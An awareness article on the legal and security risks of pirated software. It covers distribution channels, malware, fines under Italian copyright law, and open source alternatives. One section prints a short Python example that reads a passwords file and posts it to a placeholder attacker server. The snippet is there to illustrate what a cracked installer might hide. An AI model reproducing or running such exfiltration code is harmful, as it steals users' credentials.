Table of contents
- What is pirated software?
- Where do you download pirated software?
- Why do people use pirated software?
- Cyber security dangers
- The alternative: original or open source software
The use of pirated software is still a widespread practice, despite awareness campaigns, the growing availability of open source solutions and the strengthening of controls on copyright compliance.
Since cyber security is a fundamental element for citizens, companies and freelancers, it is important to understand what is meant by pirated software, where it is downloaded, and why using pirated software represents a real danger, not only legal but also technical.
What is pirated software?
Pirated software is a copy of a program distributed and used without a license, in violation of copyright and the terms of use established by the manufacturer. This type of unauthorized software can be modified to remove activation controls (the famous “cracks”) or to run without the need for a valid license key.
In some cases, it is software distributed inside compressed archives, accompanied by keygens, patches or other tools that deceive the protection system. Although sometimes the program seems to work like the original, the risks are many, starting with those for computer security.
Where do you download pirated software?
The distribution of pirated software occurs through various channels, more or less accessible. The main ones include:
- Peer to peer networks
Like BitTorrent, where you can find archives shared by other users. The problem is that these files may have been modified or infected with malware. - Specialized websites
There are portals (often hosted on domains that are difficult to trace) that collect cracked versions of known software. Here too, the risk of running into infected unauthorized software is very high. - Private Forums and Groups
Telegram, Discord, Reddit, and the like have communities that regularly share links to download pirated software, with detailed instructions for installing and bypassing protections.
It is important to note that these environments are also fertile ground for scams, phishing and copyright infringement.
Why do people use pirated software?
The main reason is the desire to reduce costs. Licenses for professional software such as Adobe Photoshop, Microsoft Office or AutoCAD can even exceed a thousand euros per year. This pushes many users, especially freelancers and small businesses, to choose to download pirated software.
Another reason is misinformation: some users are not aware that what they are using is unlicensed software, perhaps installed by a technician or found through a simple Google search.
Finally, there is a question of habit: in many environments, especially in low-income countries, using pirated software is seen as normal practice.
Cyber security dangers
Using pirated software not only entails legal risks, but also serious consequences for cyber security. Here’s why:
1. Malware and Backdoors
Unauthorized software can be modified to include malware, Trojans, or backdoors that can take control of your device. These malicious codes can steal personal data, passwords, banking credentials, and confidential documents.
Technical example: A cracked installer might contain code like this (simplified Python example):
import requests
def send_data():
with open("passwords.txt", "r") as f:
content = f.read()
requests.post("http://malicious.server/upload", data={"data": content})
send_data()This code may be hidden inside an executable script that accompanies the pirated setup.
2. Lack of updates
Pirated software often cannot be updated through official channels. This means that any known vulnerabilities remain open, exposing the system to exploits that have already been documented and actively used by cybercriminals.
3. Interference with other software
Pirated software can cause system instability or conflicts with other legitimate programs, especially if tampered with at the system libraries or Windows registry level.
4. Unauthorized remote access
crack tools open connections to the outside or use techniques similar to RATs ( Remote Access Trojans ). The user may not notice that his device is under third-party control, even for months.
Legal implications and sanctions
The use of pirated software is considered a violation of copyright. In Italy, the copyright law (L. 633/1941) provides for very severe pecuniary sanctions and, in the most serious cases, criminal sanctions.
The Software Alliance (formerly BSA), an international organization representing major software companies, also works with authorities and governments to identify and punish violations. Thousands of checks are carried out worldwide every year, often with fines exceeding 10,000 euros for each violation.
Here are some of the most common penalties:
- Fines from 1,032 to 15,493 euros (art. 171 LDA)
- Hardware confiscation
- Professional activity ban for freelancers
- Compensation for damages to the software house
The alternative: original or open source software
To avoid problems, the only way is to use original software or open source solutions. There are now free versions, perfectly legal and powerful, of almost all commercial programs:
- GIMP instead of Photoshop
- LibreOffice instead of Microsoft Office
- Blender instead of Maya or 3ds Max
- Inkscape for Vector Graphics
- Darktable for RAW photo editing
- DaVinci Resolve (free) for video editing
In a professional context, adopting open source software is not only legal, but could also be a strategic choice to reduce costs and maintain a good level of IT security.
Conclusion
The allure of pirated software is dangerously deceptive. What seems like an immediate savings can turn into a security breach, data loss, or legal dispute.
In an increasingly digital world, using unauthorized software is not only a bad choice, it is a risk no person or business should ever take.
Questions and answers
- What is pirated software?
It is software distributed without the manufacturer’s authorization, in violation of copyright law. - Where can you find pirated software?
Mainly on illegal websites, peer-to-peer networks and private channels like Telegram and Discord. - What are the risks of using pirated software?
Risks of malware, theft of personal data, system instability and heavy fines. - Is it illegal to use pirated software?
Yes, and it carries fines and potentially criminal penalties. - How to understand if a software is original?
Make sure it was purchased from authorized dealers and has a valid license. - What alternatives are there to commercial software?
Many open source software can be a valid substitute for paid ones. - Can pirated software be updated?
No, pirated versions often do not allow access to official updates. - Can freelancers use pirated software?
Absolutely not: they are subject to checks and fines, even high ones. - What does the Software Alliance do?
Fights copyright infringement and protects original software producers. - Is it ever safe to download pirated software?
No, downloading pirated software exposes you to serious computer security risks.
